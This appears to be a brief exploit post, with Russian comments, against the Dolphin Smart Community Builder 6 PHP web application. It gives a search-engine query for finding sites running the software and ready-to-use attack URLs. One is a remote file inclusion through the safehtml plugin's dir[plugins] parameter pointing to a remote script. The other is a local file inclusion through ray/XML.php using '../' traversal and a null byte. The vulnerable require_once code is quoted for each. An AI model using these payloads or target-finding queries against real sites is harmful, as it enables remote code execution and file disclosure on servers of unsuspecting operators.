Dolphin Smart Community Builder 6 php include

Dolphin Smart Community Builder php include

http://www.boonex.com/products/dolphin/​

dork
intext:"Powered by Dolphin Smart Community Builder"

//но много где копирайты выключены

RFI

работает при register_globals on

/plugins/safehtml/safehtml.php?dir[plugins]=http://remote_script?
/plugins/safehtml/HTMLSax3.php?dir[plugins]=http://remote_script?

/plugins/safehtml/safehtml.php

PHP:

require_once( "{$dir['plugins']}safehtml/HTMLSax3.php" );


/plugins/safehtml/HTMLSax3.php

PHP:

require_once( "{$dir['plugins']}safehtml/HTMLSax3/States.php" );
require_once( "{$dir['plugins']}safehtml/HTMLSax3/Decorators.php" );


LFI

работает при magic_quotes_gpc off

/ray/XML.php?module=../../local_script%00

/ray/XML.php

PHP:

$sModule = isset($_REQUEST['module']) ? $_REQUEST['module'] : "";

        $sModuleIncPath = $sModulesPath . $sModule . "/inc/";
        
        require_once($sModuleIncPath . "header.inc.php");
        require_once($sModuleIncPath . "constants.inc.php");
        require_once($sModuleIncPath . "xmlTemplates.inc.php");
        require_once($sModuleIncPath . "customFunctions.inc.php");
        require_once($sModuleIncPath . "functions.inc.php");
        require_once($sModuleIncPath . "actions.inc.php");